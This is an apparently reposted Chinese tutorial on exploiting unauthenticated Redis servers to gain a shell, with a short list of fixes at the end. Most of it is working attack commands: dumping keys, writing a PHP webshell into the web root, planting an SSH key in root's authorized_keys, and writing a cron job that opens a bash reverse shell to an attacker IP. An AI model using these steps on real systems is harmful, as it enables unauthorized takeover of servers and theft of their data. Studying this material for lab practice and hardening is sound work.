微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

redis未授权反弹shell的三种方式

一、介绍redis未授权访问

Redis 认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

 

二、漏洞产生条件

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(认为空),可以免密码远程登录redis服务。 
(3)如果想高级利用,对方是以root身份启动的redis

 

三、环境准备

环境:Centos7、redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
yum install -y gcc
cd redis-4.0.8 make MALLOC=libc cd src && make install

 

配置redis.conf,把bind ip配置为0.0.0.0

启动redis必须使用 root 权限启动,否则save时会报错

启动redis
sudo ./redis-server ../redis.conf

kali linux 安装redis

sudo apt-get instlal redis-tools -y

 

四、利用过程

redis-cli -h 192.168.110.133

4.1. 数据泄露

获取所有的key值 keys *

keys *

 

4.2. 系统信息泄露

info 命令可以看到redis的版本、系统内核版本、配置文件路径等信息

 

4.3.  写文件GetShell

在Web目录中写入webshell


前提条件:已知网站目录的绝对路径,并且具有读写权限

getshell

  • 写入shell
# 写入一个string内容
set shell "<?PHP @assert($_POST[cc]);?>"

# 设置备份目录

config set dir /var/www/html/

# 设置备份文件名

config set dbfilename shell.PHP

# 保存文件到本地

save

 

连接,没问题。

4.4. 写入SSH公钥直接SSH连接

要钱:

  • 本地生成公钥和私钥
  • 将公钥写入到目标的.ssh文件
  • ssh 连接

kail攻击机认不开ssh,没有.ssh目录,需要手动操作(配置sshd_config连接即可)。

 

执行:ssh localhost  生成 .ssh 目录

先切换为root用户,如果su验证失败,先passwd root给root设置一个密码

执行:ssh localhost  生成 .ssh 目录
验证下root的密码,当前目录就会有一个.ssh目录了(如果靶机也没有.ssh目录,同下操作方式。)

 

 

生成公钥跟私钥。

ssh-keygen -t rsa  //执行生成key命令

id_rsa  #私钥

id_rsa.pub  #公钥

切换shell工具去使用,查看下公钥内容,最后那一串用户名为root。

 

# 备份文件目录设置为对应的 .ssh,一般认为 /root/.ssh/
config set dir /root/.ssh/

config set dbfilename authorized_keys

# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合

set key "\n\n\生成的公钥n\n"

save

 

接下来直接通过私钥去进行连接ssh,不需要验证密码

ssh -i id_rsa [email protected]

 

 连接上了,顺便执行了一个whoami,ifconfig

 

4.5. 写入计划任务(corntab)反弹shell

执行命令

和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/ config set dbfilename root save

过一会shell就弹过来了。

 

高级利用:

1、主从复制 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

2、模块加载执行命令

五、漏洞修复方式

1. 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 1... 2. 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"... 3. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器; 4. 修改Redis认端口,将认的6379端口修改为其他端口;

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐